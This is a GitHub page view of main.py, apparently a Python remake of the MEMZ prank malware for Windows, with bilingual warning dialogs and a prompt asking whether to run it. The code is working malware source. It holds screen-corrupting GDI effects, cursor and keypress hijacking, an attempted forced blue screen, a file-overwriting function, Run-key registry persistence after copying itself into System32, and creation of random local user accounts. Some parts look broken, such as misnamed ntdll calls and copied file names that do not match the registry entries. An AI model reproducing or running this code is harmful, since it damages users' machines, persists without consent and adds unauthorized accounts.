-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
261 lines (219 loc) · 7.82 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
import ctypes
import os
import shutil
import string
import subprocess
import sys
import threading
import time
import winsound
from ctypes import *
from ctypes.wintypes import *
import getpass
import random
dll = windll.LoadLibrary("user32.dll")
ntdll = windll.LoadLibrary("ntdll.dll")
gdidll = windll.LoadLibrary("gdi32.dll")
winmmdll = windll.LoadLibrary("winmm.dll")
kerdll = windll.LoadLibrary("kernel32.dll")
func = dll.MessageBoxW
if func(0, u"The software just executed is considered malware \r\n"
u"This malware will harm your computer and makes it unusable!"
u"If you are seeing this message without knowing what you just executed, simply press NO(否) and nothing "
u"will happen ."
u"\r\n"
u"If you know what this malware does and are using a safe environment to test, press YES(是) to start "
u"it. \r\n"
u"\r\n"
u"DO YOU WANT EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?"
u"\n\n\n"
u"刚刚执行的软件被认为是恶意软件\n此恶意软件将危害您的计算机并使其无法使用!\n如果您看到这条消息而不知道您刚刚执行了什么,只需按“否”,什么都不会发生。\n"
u"如果您知道此恶意软件的作用,并且正在使用安全的环境进行测试,请按“是”启动它。\n你想执行这个恶意软件,导致一台无法使用的机器吗?","MEMZ" ,0x34) == 6:
if func(0, "THIS IS LAST WARNING! \r\n"
"\r\n"
"THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE USING THIS MALWARE\r\n"
"STILL EXECUTE IT?"
"\n\n\n"
"这是最后一次警告!\n创建者不对使用此恶意软件造成的任何损坏负责\n\n还执行吗???", "MEMZ", 0x34) == 6:
pass
else:
exit()
else:
exit()
os.system("pip install VirtualKey")
import VirtualKey
os.system("pip install pypiwin32")
try:
import win32gui, win32api, win32con
except ImportError:
func(0, "You need to restart this program!", "MEMZ", 0x34)
os.system("pip install psutil")
wide = dll.GetSystemMetrics(0) * 3
high = dll.GetSystemMetrics(1) * 3
def blue():
ErrKill = c_char()
HDErr = c_long(0)
ntdll.RtlAdjPriv(0x13, c_bool(True), c_bool(False), pointer(ErrKill))
ntdll.NtRaiseHardErr(0xc0000233, c_int(0), c_int(0), pointer(HDErr))
def win():
func(0, u"Still using this computer?", "lol", 0x1030)
def re(hwnd, param):
a = win32gui.GetWindowText(hwnd)
a = list(a)
a.reverse()
a = "".join(a)
win32gui.SetWindowText(hwnd, a)
def mbr():
pass
def sum_file(proname):
a = open("C:\\a.py", "w")
a.write()
def no_kill():
os.system("start .\\closeIt.exe")
def cursor():
class Point(Structure):
_fields_ = [("x", c_long), ("y", c_long)]
q = Point(0,0)
dll.GetCursorPos(pointer(q))
v2 = 10
v3 = random.randint(0, v2)
v5 = random.randint(0, v2)
v7 = random.randint(0, 1000)
v11 = q.y + v3 * (v7 % 3 - 1)
v9 = random.randint(0, 1000)
v12 = q.x + v5 * (v9 % 3 - 1)
dll.SetCursorPos(v11, v12)
def web():
windll.shell32.ShellExecuteW(0, "open", "baidu.com/yyg-yyds", 0, 0, 10)
def desktop():
class RECT(Structure):
_fields_ = [
("left", c_long),
("top", c_long),
("right", c_long),
("bottom", c_long)
]
v0 = HWND
v1 = HDC
Rect = RECT(random.randint(0, wide), random.randint(0, high), random.randint(0, wide), random.randint(0, high))
v0 = dll.GetDesktopWindow()
v1 = dll.GetWindowDC(v0)
gdidll.BitBlt(v1, 0, 0, Rect.right - Rect.left, Rect.bottom - Rect.top, v1, 0, 0, 0x330008)
dll.ReleaseDC(v0, v1)
def drawIco():
hWnd = HWND
hicon1 = HICON
hicon2 = HICON
iconw = c_int
iconh = c_int
class Point(Structure):
_fields_ = [("x", c_long), ("y", c_long)]
p = Point(0,0)
iconw = dll.GetSystemMetrics(11) / 2
iconh = dll.GetSystemMetrics(12) / 2
hWnd = dll.GetDesktopWindow()
v2 = dll.GetWindowDC(hWnd)
dll.GetCursorPos(pointer(p))
hicon1 = dll.LoadIconW(0, 0x7F01)
dll.DrawIcon(v2, int(p.x - iconw), int(p.y - iconh), hicon1)
hicon2 = dll.LoadIconW(0, 0x7F03)
x = random.randint(0, wide)
y = random.randint(0, high)
dll.DrawIcon(v2, x, y, hicon2)
def desktop_small():
v1 = HWND
v2 = HDC
class RECT(Structure):
_fields_ = [
("left", c_long),
("top", c_long),
("right", c_long),
("bottom", c_long)
]
Rect = RECT(random.randint(0, wide), random.randint(0, high), random.randint(0, wide), random.randint(0, high))
v1 = dll.GetDesktopWindow()
v2 = dll.GetWindowDC(v1)
gdidll.StretchBlt(v2, 50, 50, Rect.right - 100, Rect.bottom - 100, v2, 0, 0, Rect.right, Rect.bottom, 0xCC0020)
dll.ReleaseDC(v1, v2)
def desk_copy():
v1 = HWND
v2 = HDC
class RECT(Structure):
_fields_ = [
("left", c_long),
("top", c_long),
("right", c_long),
("bottom", c_long)
]
Rect = RECT(random.randint(100, wide), random.randint(100, high), random.randint(100, wide), random.randint(100, high))
v1 = dll.GetDesktopWindow()
v2 = dll.GetWindowDC(v1)
x = random.randint(0, Rect.right - 100)
y = random.randint(0, Rect.bottom - 100)
m = random.randint(0, 600)
n = random.randint(0, 600)
p = random.randint(0, Rect.right - 100)
q = random.randint(0, Rect.bottom - 100)
gdidll.BitBlt(v2, x, y, m, n, v2, p, q, 0xCC0020)
def sound():
s = [winsound.MB_OK, winsound.MB_ICONHAND, winsound.MB_ICONQUESTION, winsound.MB_ICONEXCLAMATION]
s1 = random.choice(s)
winsound.MessageBeep(type=s1)
def presskey():
char = string.punctuation + string.ascii_letters
char = list(char)
VirtualKey.example.down_up(random.choice(char))
# warning func
def smashfile(file):
with open(file, "w") as f:
for i in range(random.randint(0, 2000)):
f.write(random.choice(list(string.punctuation + string.ascii_letters + string.digits + string.hexdigits + string.octdigits)))
def reg_booting_start():
shutil.copyfile(__file__, "C:\\Windows\\System32\\drivers\\sp000drv.exe")
shutil.copyfile(__file__, "C:\\Windows\\System32\\drivers\\sp000dsk.py")
os.system(r"reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsDrvM /t REG_SZ /d ^%systemroot%\System32\drivers\spl000drv.exe")
os.system(r"reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsDrvX /t REG_SZ /d ^%systemroot%\System32\drivers\spl000dsk.py")
def some_user():
#os.system("net user NoEscape death /add")
# warning
user = getpass.getuser()
p = "!#()_"
ua = list(p + string.ascii_letters + string.digits)
del_bat = True
for i in range(5):
st = ""
for j in range(20):
st += random.choice(ua)
ps = ""
for j in range(14):
ps += random.choice(ua)
print(f"net user {''.join(st)} {''.join(ps)} /add")
subprocess.run(f"net user {st} {ps} /add")
if del_bat:
a = open("del_bat.bat", "a")
print(f"net user {st} /delete", file=a)
def fungame(num, f=None):
if f is None:
f = [sound,
sound,
sound,
desktop_small,
desktop_small,
desktop_small,
desktop,
desktop,
desk_copy,
web,
drawIco,
drawIco,
drawIco,
cursor,
cursor,
cursor,
lambda: win32gui.EnumChildWindows(win32gui.GetDesktopWindow(), re, 0)
]
while num:
time.sleep(0.02)
threading.Thread(target=random.choice(f)).start()
num -= 1
fungame(300)